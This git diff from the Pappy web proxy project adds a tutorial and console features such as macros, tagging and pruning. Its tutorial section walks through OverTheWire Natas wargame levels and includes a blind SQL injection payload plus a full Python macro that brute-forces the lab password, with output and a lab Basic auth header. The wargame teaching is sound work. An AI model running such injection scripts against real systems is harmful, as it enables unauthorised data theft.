``:wq!`` to quit the repeater without having to save buffers + +.. note:: + You must know the basics of how to use vim for the repeater and have a key bound to the leader. You can find more information on the leader key ``here ``. By default is bound to ``\``. + +Submit a request then open that request in the repeater.:: + itsPappyTime> ls + 196 GET natas9.natas.labs.overthewire.org /index.php?needle=ball&submit=Search 200 OK 0 1686 0.27 -- + 195 GET natas9.natas.labs.overthewire.org /index-source.html 200 OK 0 1952 0.27 -- + ... snip ... + itsPappyTime> rp 196 + +Vim will open up in a vertical split with the request on the left and the response on the right. + +In the repeater, you edit the response on the left, then press the ```` key then ``f`` to submit the modified request (note that your cursor must be in the left window). The response will then be put in the right window. This makes it easy to quickly make requests which are all slight variations of each other. + +In this case, we'll be editing the ``needle`` get parameter. Try changing "ball" to "bill" and submitting it. You'll notice that the output in the right window changes to contain words that have the word "bill" in them. The repeater will make it easy to make tweaks to your payload and get quick feedback without having to use the browser. + +Use the repeater to solve this challenge (you may need to url encode some characters by hand, unfortunately). + +Skip a few... Natas 15 +---------------------- +All the challenges up to this point should be doable with the repeater/interceptor. Natas15 is where things get hairy though. This is a blind SQL injection, and you'll have to write a script to do it. Luckily for us, writing scripts using Pappy is easy. If you're lazy and don't want to actually do the challenges, google the password for natas15 then come back. + +Commands we'll learn: + +* ``gma `` Generate a macro with objects pre-defined for the given requests +* ``lma`` Load macros +* ``rma [args]`` Run a macro, optionally with arguments + +So the first thing we'll do is submit a request to have a base request that we can modify. Submit a request with any username. You should get a response back saying the user doesn't exist. Now we'll generate a macro and use that request as a base for our script:: + + itsPappyTime> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 224 POST natas15.natas.labs.overthewire.org /index.php 200 OK 14 937 0.27 -- + 223 POST natas15.natas.labs.overthewire.org /index.php 200 OK 12 937 0.27 -- + 222 GET natas15.natas.labs.overthewire.org /index-source.html 200 OK 0 3325 0.28 -- + 221 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.25 -- + 220 GET natas15.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 308 0.27 -- + 219 GET natas15.natas.labs.overthewire.org / 200 OK 0 1049 0.37 -- + 218 GET natas15.natas.labs.overthewire.org / 401 Unauthorized 0 480 0.27 -- + ... snip ... + + itsPappyTime> gma brute 224 + Wrote script to macro_brute.py + itsPappyTime> + +Now open up ``macro_brute.py`` in your favorite text editor. You should have a script that looks like this:: + + from pappyproxy.http import Request, get_request, post_request + from pappyproxy.context import set_tag + + MACRO_NAME = 'Macro 41855887' + SHORT_NAME = '' + + ########### + ## Requests + # It's suggested that you call .copy() on these and then edit attributes + # as needed to create modified requests + ## + + + req1 = Request(( + 'POST /index.php HTTP/1.1\r\n' + 'Host: natas15.natas.labs.overthewire.org\r\n' + 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n' + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' + 'Accept-Language: en-US,en;q=0.5\r\n' + 'Accept-Encoding: gzip, deflate\r\n' + 'Referer: http://natas15.natas.labs.overthewire.org/\r\n' + 'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n' + 'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n' + 'Connection: keep-alive\r\n' + 'Content-Type: application/x-www-form-urlencoded\r\n' + 'Content-Length: 14\r\n' + '\r\n' + 'username=admin' + )) + + + def run_macro(args): + # Example: + # req = req0.copy() # Copy req0 + # req.submit() # Submit the request to get a response + # print req.response.raw_headers # print the response headers + # req.save() # save the request to the data file + # or copy req0 into a loop and use string substitution to automate requests + pass + +Pappy will generate a script and create a ``Request`` object that you can use. Check out the real documentation to see everything you can do with a ``Request`` object. For now you just need to know a few things about it: + +* :func:`~pappyproxy.http.Request.submit` Submit the request and store the response object +* :func:`~pappyproxy.http.Request.save` Save the request/response to the data file +* ``post_params`` A :class:`~pappyproxy.http.RepeatableDict` that represents the post parameters of the request. Can set/get prameters the same way as a dictionary. + +It is suggested you go through the documentation to learn the rest of the attributes/functions. + +To start out simple, we'll write a macro that lets us check a username from the Pappy console. To define a function, you define the ``run_macro`` function. The function is passed a list of arguments which represent the arguments entered. Here a ``run_macro`` function that we can define that will check if a user exists:: + + def run_macro(args): + to_check = args[0] # get the username to check + r = req1.copy() # make a copy of the base request + r.post_params['username'] = to_check # set the username param of the request + r.submit() # submit the request + if "This user doesn't exist." in r.response.raw_data: # check if the username is valid + print "%s is not a user" % to_check + else: + print "%s is a user!" % to_check + +Then to run it:: + + itsPappyTime> lma + Loaded "" + itsPappyTime> rma brute admin + admin is not a user + itsPappyTime> rma brute fooooo + fooooo is not a user + itsPappyTime> rma brute natas16 + natas16 is a user! + itsPappyTime> + +Awesome! Notice how we didn't have to deal with authentication either. This is because the authentication is handled by the ``Authorization`` header which was included in the generated request. + +Time to add the SQL injection part. If we look at the source, we see that this is the SQL query that checks the username:: + + $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; + +So to escape it, we use a payload like:: + + username" OR 1=1; # + +In this case, any username that ends in ``" OR 1=1; #`` will be considered a valid username. Let's try this out:: + + itsPappyTime> rma brute "foo\" OR 1=1;" + foo" OR 1=1; is a user! + itsPappyTime> rma brute "fooooooo\" OR 1=1;" + fooooooo" OR 1=1; is a user! + itsPappyTime> + +Great! Now we can check any true/false condition we want. In this case, we want to check if a certain character is at a certain position in the ``password`` column. We do this with the ``ASCII`` and ``SUBSTRING`` functions. So something like this will check if the first character is an ``A``.:: + + 'natas16" AND ASCII(SUBSTRING(password, 0, 1)) = 41; #' + +Alright, let's update our macro to find the first character of the password.:: + + from pappyproxy.http import Request, get_request, post_request + from pappyproxy.context import set_tag + + MACRO_NAME = 'Macro 41855887' + SHORT_NAME = '' + + ########### + ## Requests + # It's suggested that you call .copy() on these and then edit attributes + # as needed to create modified requests + ## + + + req1 = Request(( + 'POST /index.php HTTP/1.1\r\n' + 'Host: natas15.natas.labs.overthewire.org\r\n' + 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n' + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' + 'Accept-Language: en-US,en;q=0.5\r\n' + 'Accept-Encoding: gzip, deflate\r\n' + 'Referer: http://natas15.natas.labs.overthewire.org/\r\n' + 'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n' + 'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n' + 'Connection: keep-alive\r\n' + 'Content-Type: application/x-www-form-urlencoded\r\n' + 'Content-Length: 14\r\n' + '\r\n' + 'username=admin' + )) + + def check_char(char, pos): + payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char)) + r = req1.copy() + r.post_params['username'] = payload + r.submit() + if "This user doesn't exist." in r.response.raw_data: + return False + else: + return True + + def run_macro(args): + valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890" + for c in valid_chars: + print 'Trying %s...' % c + if check_char(c, 1): + print '%s is the first char!' % c + return + print "The script didn't work" + +And when we run it...:: + + itsPappyTime> lma + Loaded "" + itsPappyTime> rma brute + Trying a... + Trying b... + Trying c... + Trying d... + ... snip ... + Trying U... + Trying V... + Trying W... + W is the first char! + itsPappyTime> + +We find the first character! Woo! Next we just have to do this for each position. Even through we don't know the length of the password, we will know that the password is over when none of the characters are valid. So let's update our macro:: + + import sys + from pappyproxy.http import Request, get_request, post_request + from pappyproxy.context import set_tag + + MACRO_NAME = 'Macro 41855887' + SHORT_NAME = '' + + ########### + ## Requests + # It's suggested that you call .copy() on these and then edit attributes + # as needed to create modified requests + ## + + + req1 = Request(( + 'POST /index.php HTTP/1.1\r\n' + 'Host: natas15.natas.labs.overthewire.org\r\n' + 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0\r\n' + 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n' + 'Accept-Language: en-US,en;q=0.5\r\n' + 'Accept-Encoding: gzip, deflate\r\n' + 'Referer: http://natas15.natas.labs.overthewire.org/\r\n' + 'Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664\r\n' + 'Authorization: Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n' + 'Connection: keep-alive\r\n' + 'Content-Type: application/x-www-form-urlencoded\r\n' + 'Content-Length: 14\r\n' + '\r\n' + 'username=admin' + )) + + def check_char(char, pos): + payload = 'natas16" AND ASCII(SUBSTRING(password, %d, 1)) = %d; #' % (pos, ord(char)) + r = req1.copy() + r.post_params['username'] = payload + r.submit() + if "This user doesn't exist." in r.response.raw_data: + return False + else: + return True + + def run_macro(args): + valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890" + password = '' + done = False + while True: + done = True + for c in valid_chars: + # Print the current char to the current line + print c, + sys.stdout.flush() + + # Check the current char + if check_char(c, len(password)+1): + # We got the correct char! + password += c + # Print it to the screen + print '' + print '%s is char %d!' % (c, len(password)+1) + print 'The password so far is %s' % password + # We have to do another round + done = False + break + if done: + # We got through the entire alphabet + print '' + print 'Done! The password is "%s"' % password + break + +Then we run it:: + + itsPappyTime> lma + Loaded "" + itsPappyTime> rma brute + a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W + W is char 1! + The password so far is W + a + a is char 2! + The password so far is Wa + a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I + I is char 3! + The password so far is WaI + a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H + H is char 4! + The password so far is WaIH + a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E + + ... snip ... + + The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nh + a b c d e f g h i j k l m + m is char 31! + The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhm + a b c d e f g h + h is char 32! + The password so far is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh + a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 0 + Done! The password is "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" + itsPappyTime> + +Boom! There it is! + +Conclusion +========== + +That's pretty much all you need to get started with Pappy. Make sure to go through the documentation to learn about all the other features that weren't covered in this tutorial. Hopefully you didn't find Pappy too hard to use and you'll consider it for your next engagement. diff --git a/pappyproxy/comm.py b/pappyproxy/comm.py index dbead84..9c88e26 100644 --- a/pappyproxy/comm.py +++ b/pappyproxy/comm.py @@ -70,22 +70,22 @@ class CommServer(LineReceiver): @defer.inlineCallbacks def action_get_request(self, data): try: - reqid = int(data['reqid']) + reqid = data['reqid'] + req = yield pappyproxy.http.Request.load_request(reqid) except KeyError: raise PappyException("Request with given ID does not exist") - req = yield pappyproxy.http.Request.load_request(reqid) dat = json.loads(req.to_json()) defer.returnValue(dat) @defer.inlineCallbacks def action_get_response(self, data): try: - reqid = int(data['reqid']) + reqid = data['reqid'] + req = yield pappyproxy.http.Request.load_request(reqid) except KeyError: raise PappyException("Request with given ID does not exist, cannot fetch associated response.") - req = yield pappyproxy.http.Request.load_request(reqid) if req.response: rsp = yield pappyproxy.http.Response.load_response(req.response.rspid) dat = json.loads(rsp.to_json()) @@ -101,11 +101,11 @@ class CommServer(LineReceiver): req.is_ssl = data['is_ssl'] except: raise PappyException("Error parsing request") - req_sub = yield req.submit_self() - yield req_sub.deep_save() + yield req.async_submit() + yield req.async_deep_save() retdata = {} - retdata['request'] = json.loads(req_sub.to_json()) - if req_sub.response: - retdata['response'] = json.loads(req_sub.response.to_json()) + retdata['request'] = json.loads(req.to_json()) + if req.response: + retdata['response'] = json.loads(req.response.to_json()) defer.returnValue(retdata) diff --git a/pappyproxy/console.py b/pappyproxy/console.py index 44792c7..cf04bc5 100644 --- a/pappyproxy/console.py +++ b/pappyproxy/console.py @@ -5,15 +5,19 @@ import datetime import os import pappyproxy import pygments +import re import shlex import string import subprocess import sys import termios import time +import urllib from twisted.internet import defer, reactor from pappyproxy.util import PappyException +from pappyproxy.macros import load_macros, macro_from_requests, gen_imacro +from pappyproxy.repeater import start_editor from pygments.lexers import get_lexer_for_mimetype from pygments.formatters import TerminalFormatter @@ -31,6 +35,11 @@ LINE_ERASE = '\x1b[2K' PRINT_LINE = '\x1b[1i' edit_queue = [] +loaded_macros = [] +loaded_int_macros = [] +macro_dict = {} +int_macro_dict = {} +proxy_server_factory = None def print_pappy_errors(func): def catch(*args, **kwargs): @@ -40,6 +49,10 @@ def print_pappy_errors(func): print str(e) return catch +def set_proxy_server_factory(factory): + global proxy_server_factory + proxy_server_factory = factory + class ProxyCmd(cmd2.Cmd): def __init__(self, *args, **kwargs): @@ -64,28 +77,17 @@ class ProxyCmd(cmd2.Cmd): "of the request will be displayed.") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_view_request_info(self, line): args = shlex.split(line) - try: - reqid = int(args[0]) - showid = reqid - except: - raise PappyException("Enter a valid number for the request id") + reqids = args[0] - req = yield pappyproxy.http.Request.load_request(reqid) - showreq = req + reqs = yield load_reqlist(reqids) - show_unmangled = False - if len(args) > 1 and args[1][0].lower() == 'u': - if not req.unmangled: - raise PappyException("Request was not mangled") - show_unmangled = True - showreq = req.unmangled - - print '' - print_request_extended(showreq) + for req in reqs: + print '' + print_request_extended(req) print '' def help_view_request_headers(self): @@ -95,30 +97,21 @@ class ProxyCmd(cmd2.Cmd): "of the request will be displayed.") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_view_request_headers(self, line): args = shlex.split(line) - try: - reqid = int(args[0]) - showid = reqid - except: - raise PappyException("Enter a valid number for the request id") - - req = yield pappyproxy.http.Request.load_request(reqid) - showreq = req - - show_unmangled = False - if len(args) > 1 and args[1][0].lower() == 'u': - if not req.unmangled: - raise PappyException("Request was not mangled") - show_unmangled = True - showreq = req.unmangled + reqid = args[0] + showid = reqid - if show_unmangled: - print 'UNMANGLED --------------------' - print '' - view_full_request(showreq, True) + reqs = yield load_reqlist(reqid) + for req in reqs: + if len(reqs) > 1: + print 'Request %s:' % req.reqid + print '' + view_full_request(req, True) + if len(reqs) > 1: + print '-'*30 def help_view_full_request(self): print ("View the full data of the request\n" @@ -127,92 +120,78 @@ class ProxyCmd(cmd2.Cmd): "of the request will be displayed.") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_view_full_request(self, line): args = shlex.split(line) - try: - reqid = int(args[0]) - showid = reqid - except: - raise PappyException("Enter a valid number for the request id") - - req = yield pappyproxy.http.Request.load_request(reqid) - showreq = req - - show_unmangled = False - if len(args) > 1 and args[1][0].lower() == 'u': - if not req.unmangled: - raise PappyException("Request was not mangled") - show_unmangled = True - showreq = req.unmangled + reqid = args[0] + showid = reqid - if show_unmangled: - print 'UNMANGLED --------------------' - print '' - view_full_request(showreq) + reqs = yield load_reqlist(reqid) + for req in reqs: + if len(reqs) > 1: + print 'Request %s:' % req.reqid + print '' + view_full_request(req) + if len(reqs) > 1: + print '-'*30 def help_view_response_headers(self): print ("View the headers of the response\n" "Usage: view_response_headers ") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_view_response_headers(self, line): - args = shlex.split(line) - try: - reqid = int(args[0]) - showid = reqid - except: - raise PappyException("Enter a valid number for the request id") - - req = yield pappyproxy.http.Request.load_request(reqid) - showrsp = req.response - - show_unmangled = False - if len(args) > 1 and args[1][0].lower() == 'u': - if not req.response.unmangled: - raise PappyException("Response was not mangled") - show_unmangled = True - showrsp = req.response.unmangled - - if show_unmangled: - print '' - print 'UNMANGLED --------------------' - print '' - view_full_response(showrsp, True) + reqs = yield load_reqlist(line) + for req in reqs: + if req.response: + if len(reqs) > 1: + print '-'*15 + (' %s ' % req.reqid) + '-'*15 + view_full_response(req.response, True) + else: + print "Request %s does not have a response" % req.reqid def help_view_full_response(self): print ("View the full data of the response associated with a request\n" "Usage: view_full_response ") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_view_full_response(self, line): - args = shlex.split(line) - try: - reqid = int(args[0]) - showid = reqid - except: - raise PappyException("Enter a valid number for the request id") + reqs = yield load_reqlist(line) + for req in reqs: + if req.response: + if len(reqs) > 1: + print '-'*15 + (' %s ' % req.reqid) + '-'*15 + view_full_response(req.response) + else: + print "Request %s does not have a response" % req.reqid + def help_dump_response(self): + print ('Dump the data of the response to a file.\n' + 'Usage: dump_response ') + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_dump_response(self, line): + # dump the data of a response + args = shlex.split(line) + reqid = args[0] + showid = reqid req = yield pappyproxy.http.Request.load_request(reqid) - showrsp = req.response - - show_unmangled = False - if len(args) > 1 and args[1][0].lower() == 'u': - if not req.response.unmangled: - raise PappyException("Response was not mangled") - show_unmangled = True - showrsp = req.response.unmangled + rsp = req.response + if len(args) >= 2: + fname = args[1] + else: + fname = req.path.split('/')[-1] - if show_unmangled: - print '' - print 'UNMANGLED --------------------' - print '' - view_full_response(showrsp) + with open(fname, 'w') as f: + f.write(rsp.raw_data) + print 'Response data written to %s' % fname def help_list(self): print ("List request/response pairs in the current context\n" @@ -233,14 +212,27 @@ class ProxyCmd(cmd2.Cmd): else: print_count = 25 - pappyproxy.context.sort() + def key_reqtime(req): + if req.time_start is None: + return -1 + else: + return (req.time_start-datetime.datetime(1970,1,1)).total_seconds() + + to_print = list(pappyproxy.context.active_requests) + to_print = sorted(to_print, key=key_reqtime, reverse=True) if print_count > 0: - to_print = pappyproxy.context.active_requests[:] - to_print = sorted(to_print, key=lambda x: x.reqid, reverse=True) to_print = to_print[:print_count] - print_requests(to_print) - else: - print_requests(pappyproxy.context.active_requests) + print_requests(to_print) + + def help_site_map(self): + print ('Print the site map. Only includes requests in the current context.\n' + 'Usage: site_map') + + @print_pappy_errors + def do_site_map(self, line): + to_print = [r for r in pappyproxy.context.active_requests if not r.response or r.response.response_code != 404] + tree = get_site_map(to_print) + print_tree(tree) def help_filter(self): print ("Apply a filter to the current context\n" @@ -255,12 +247,38 @@ class ProxyCmd(cmd2.Cmd): filter_to_add = pappyproxy.context.Filter(line) pappyproxy.context.add_filter(filter_to_add) + def complete_builtin_filter(self, text, line, begidx, endidx): + all_names = pappyproxy.context.BuiltinFilters.list() + if not text: + ret = all_names[:] + else: + ret = [n for n in all_names if n.startswith(text)] + return ret + + @print_pappy_errors + def do_builtin_filter(self, line): + if not line: + raise PappyException("Filter name required") + + filters_to_add = pappyproxy.context.BuiltinFilters.get(line) + for f in filters_to_add: + print f.filter_string + pappyproxy.context.add_filter(f) + + def help_filter_up(self): + print ("Remove the last applied filter\n" + "Usage: filter_up") + + @print_pappy_errors + def do_filter_up(self, line): + pappyproxy.context.filter_up() + def help_filter_clear(self): print ("Reset the context so that it contains no filters (ignores scope)\n" "Usage: filter_clear") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_filter_clear(self, line): pappyproxy.context.active_filters = [] @@ -281,7 +299,7 @@ class ProxyCmd(cmd2.Cmd): "Usage: scope_save") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_scope_save(self, line): pappyproxy.context.save_scope() @@ -292,17 +310,15 @@ class ProxyCmd(cmd2.Cmd): "Usage: scope_reset") @print_pappy_errors - @crochet.wait_for(timeout=30.0) - @defer.inlineCallbacks def do_scope_reset(self, line): - yield pappyproxy.context.reset_to_scope() + pappyproxy.context.reset_to_scope() def help_scope_delete(self): print ("Delete the scope so that it contains all request/response pairs\n" "Usage: scope_delete") @print_pappy_errors - @crochet.wait_for(timeout=30.0) + @crochet.wait_for(timeout=None) @defer.inlineCallbacks def do_scope_delete(self, line): pappyproxy.context.set_scope([]) @@ -316,37 +332,57 @@ class ProxyCmd(cmd2.Cmd): def do_scope_list(self, line): pappyproxy.context.print_scope() + def help_filter_prune(self): + print ('Delete all out of context requests from the data file. ' + 'CANNOT BE UNDONE!! Be careful!\n' + 'Usage: filter_prune') + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_filter_prune(self, line): + # Delete filtered items from datafile + print '' + print 'Currently active filters:' + for f in pappyproxy.context.active_filters: + print '> %s' % f.filter_string + + # We copy so that we're not removing items from a set we're iterating over + reqs = list(pappyproxy.context.inactive_requests) + act_reqs = list(pappyproxy.context.active_requests) + message = 'This will delete %d/%d requests. You can NOT undo this!! Continue?' % (len(reqs), (len(reqs) + len(act_reqs))) + if not confirm(message, 'n'): + defer.returnValue(None) + + for r in reqs: + yield r.deep_delete() + pappyproxy.context.remove_request(r) + print 'Deleted %d requests' % len(reqs) + defer.returnValue(None) + + def help_clrmem(self): + print ('Delete all in-memory only requests' + 'Usage: clrmem') + + def do_clrmem(self, line): + to_delete = list(pappyproxy.context.in_memory_requests) + for r in to_delete: + pappyproxy.context.remove_request(r) + def help_repeater(self): print ("Open a request in the repeater\n" "Usage: repeater ") @print_pappy_errors def do_repeater(self, line): + # This is not async on purpose. start_editor acts up if this is called + # with inline callbacks. As a result, check_reqid and get_unmangled + # cannot be async args = shlex.split(line) - try: - reqid = int(args[0]) - except: - raise PappyException("Enter a valid number for the request id") + reqid = args[0] - repid = reqid - if len(args) > 1 and args[1][0].lower() == 'u': - umid = get_unmangled(reqid) - if umid is not None: - repid = umid - pappyproxy.repeater.start_editor(repid) - - def help_submit(self): - print "Submit a request again (NOT IMPLEMENTED)" - - @print_pappy_errors - @crochet.wait_for(timeout=30.0) - @defer.inlineCallbacks - def do_submit(self, line): - pass - # reqid = int(line) - # req = yield http.Request.load_request(reqid) - # rsp = yield req.submit() - # print printable_data(rsp.full_response) + check_reqid(reqid) + start_editor(reqid) def help_intercept(self): print ("Intercept requests and/or responses and edit them with before passing them along\n" @@ -355,6 +391,7 @@ class ProxyCmd(cmd2.Cmd): @print_pappy_errors def do_intercept(self, line): global edit_queue + global proxy_server_factory args = shlex.split(line) intercept_requests = False intercept_responses = False @@ -376,8 +413,13 @@ class ProxyCmd(cmd2.Cmd): else: intercept_str = 'NOTHING' - pappyproxy.mangle.set_intercept_requests(intercept_requests) - pappyproxy.mangle.set_intercept_responses(intercept_responses) + macro_file = os.path.join(pappyproxy.config.PAPPY_DIR, 'mangle.py') + mangle_macro = pappyproxy.macros.InterceptMacro(macro_file) + mangle_macro.intercept_requests = intercept_requests + mangle_macro.intercept_responses = intercept_responses + + pappyproxy.proxy.add_intercepting_macro('pappy_intercept', mangle_macro, + proxy_server_factory.intercepting_macros) ## Interceptor loop stdscr = curses.initscr() @@ -420,23 +462,352 @@ class ProxyCmd(cmd2.Cmd): stdscr.keypad(0) curses.echo() curses.endwin() - pappyproxy.mangle.set_intercept_requests(False) - pappyproxy.mangle.set_intercept_responses(False) + try: + pappyproxy.proxy.remove_intercepting_macro('pappy_intercept', + proxy_server_factory.intercepting_macros) + except PappyException: + pass # Send remaining requests along while len(edit_queue) > 0: (fname, deferred) = edit_queue.pop(0) deferred.callback(None) + + def help_load_macros(self, line): + print ('Load macros from a directory. By default loads macros in the current directory.\n' + 'Usage: load_macros [dir]') + + @print_pappy_errors + def do_load_macros(self, line): + global macro_dict + global int_macro_dict + global loaded_macros + global loaded_int_macros + + if line: + load_dir = line + else: + load_dir = '.' + (to_load, int_to_load) = load_macros(load_dir) + if not to_load and not int_to_load: + raise PappyException('No macros to load.') + + macro_dict = {} + loaded_macros = [] + int_macro_dict = {} + loaded_int_macros = [] + + for macro in to_load: + if macro.name in macro_dict: + print 'Name conflict in %s! "%s" already in use, not loading.' % (macro.filename, macro.name) + elif macro.short_name and macro.short_name in macro_dict: + print 'Name conflict in %s! "%s" already in use, not loading.' % (macro.filename, macro.short_name) + elif macro.file_name in macro_dict: + print 'Name conflict in %s! "%s" already in use, not loading.' % (macro.filename, macro.file_name) + else: + macro_dict[macro.name] = macro + macro_dict[macro.file_name] = macro + if macro.short_name: + macro_dict[macro.short_name] = macro + loaded_macros.append(macro) + print 'Loaded "%s"' % macro + + for macro in int_to_load: + if macro.name in int_macro_dict: + print 'Name conflict in %s! "%s" already in use, not loading.' % (macro.filename, macro.name) + elif macro.short_name and macro.short_name in int_macro_dict: + print 'Name conflict in %s! "%s" already in use, not loading.' % (macro.filename, macro.short_name) + elif macro.file_name in int_macro_dict: + print 'Name conflict in %s! "%s" already in use, not loading.' % (macro.filename, macro.file_name) + else: + int_macro_dict[macro.name] = macro + int_macro_dict[macro.file_name] = macro + if macro.short_name: + int_macro_dict[macro.short_name] = macro + loaded_int_macros.append(macro) + print 'Loaded "%s"' % macro + + def help_run_macro(self): + print ('Run a macro\n' + 'Usage: run_macro ') + + @print_pappy_errors + def do_run_macro(self, line): + global macro_dict + global loaded_macros + args = shlex.split(line) + if not args: + raise PappyException('You must give a macro to run. You can give its short name, or the name in the filename.') + mname = args[0] + if mname not in macro_dict: + raise PappyException('%s not a loaded macro' % mname) + macro = macro_dict[mname] + macro.execute(args[1:]) + + def help_run_int_macro(self): + print ('Activate an intercepting macro\n' + 'Usage: run_int_macro \n' + 'Macro can be stopped with stop_int_macro') + + @print_pappy_errors + def do_run_int_macro(self, line): + global int_macro_dict + global loaded_int_macros + if not line: + raise PappyException('You must give an intercepting macro to run. You can give its short name, or the name in the filename.') + if line not in int_macro_dict: + raise PappyException('%s not a loaded intercepting macro' % line) + macro = int_macro_dict[line] + pappyproxy.proxy.add_intercepting_macro(macro.name, macro) + print '"%s" started' % macro.name + + def help_stop_int_macro(self): + print ('Stop a running intercepting macro\n' + 'Usage: stop_int_macro ') + + @print_pappy_errors + def do_stop_int_macro(self, line): + global int_macro_dict + global loaded_int_macros + if not line: + raise PappyException('You must give an intercepting macro to run. You can give its short name, or the name in the filename.') + if line not in int_macro_dict: + raise PappyException('%s not a loaded intercepting macro' % line) + macro = int_macro_dict[line] + pappyproxy.proxy.remove_intercepting_macro(macro.name) + print '"%s" stopped' % macro.name + + def help_list_int_macros(self): + print ('List all active/inactive intercepting macros') + + def do_list_int_macros(self, line): + global int_macro_dict + global loaded_int_macros + running = [] + not_running = [] + for macro in loaded_int_macros: + if macro.name in pappyproxy.proxy.intercepting_macros: + running.append(macro) + else: + not_running.append(macro) + + if not running and not not_running: + print 'No loaded intercepting macros' + + if running: + print 'Active intercepting macros:' + for m in running: + print ' %s' % m + + if not_running: + print 'Inactive intercepting macros:' + for m in not_running: + print ' %s' % m + + def do_help_generate_macro(self): + print ('Generate a macro script with request objects' + 'Usage: generate_macro , , ... ') + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_generate_macro(self, line): + if line == '': + raise PappyException('Macro name is required') + args = shlex.split(line) + name = args[0] + reqs = yield load_reqlist(args[1]) + script_str = macro_from_requests(reqs) + fname = 'macro_%s.py' % name + with open(fname, 'wc') as f: + f.write(script_str) + print 'Wrote script to %s' % fname + + def do_help_generate_macro(self): + print ('Generate a macro script with request objects\n' + 'Usage: generate_macro , , ... ') + + def help_generate_int_macro(self): + print ('Generate an intercepting macro script\n' + 'Usage: generate_int_macro ') + + @print_pappy_errors + def do_generate_int_macro(self, line): + if line == '': + raise PappyException('Macro name is required') + args = shlex.split(line) + name = args[0] + script_str = gen_imacro() + fname = 'int_%s.py' % name + with open(fname, 'wc') as f: + f.write(script_str) + print 'Wrote script to %s' % fname def help_gencerts(self): print ("Generate CA cert and private CA file\n" "Usage: gencerts [/path/to/put/certs/in]") + def help_rpy(self): + print ('Copy python object definitions of requests.\n' + 'Usage: rpy ') + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_rpy(self, line): + reqs = yield load_reqlist(line) + for req in reqs: + print pappyproxy.macros.req_obj_def(req) + + @print_pappy_errors + def do_inmem(self, line): + r = pappyproxy.http.Request() + r.status_line = 'GET /%s HTTP/1.1' % line + r.reqid = pappyproxy.context.get_memid() + pappyproxy.context.add_request(r) + + def help_tag(self): + print ('Add a tag to requests.\n' + 'Usage: tag \n' + 'You can tag as many requests as you want at the same time. If no' + ' ids are given, the tag will be applied to all in-context requests.') + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_tag(self, line): + args = shlex.split(line) + if len(args) == 0: + self.help_tag() + defer.returnValue(None) + tag = args[0] + + if len(args) > 1: + reqs = yield load_reqlist(args[1], False) + ids = [r.reqid for r in reqs] + print 'Tagging %s with %s' % (', '.join(ids), tag) + else: + print "Tagging all in-context requests with %s" % tag + reqs = list(pappyproxy.context.active_requests) + + for req in reqs: + if tag not in req.tags: + req.tags.append(tag) + if req.saved: + yield req.async_save() + pappyproxy.context.add_request(req) + else: + print 'Request %s already has tag %s' % (req.reqid, tag) + + def help_untag(self): + print ('Remove a tag from requests\n' + 'Usage: untag \n' + 'You can provide as many request ids as you want and the tag will' + ' be removed from all of them. If no ids are given, the tag will ' + 'be removed from all in-context requests.') + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_untag(self, line): + args = 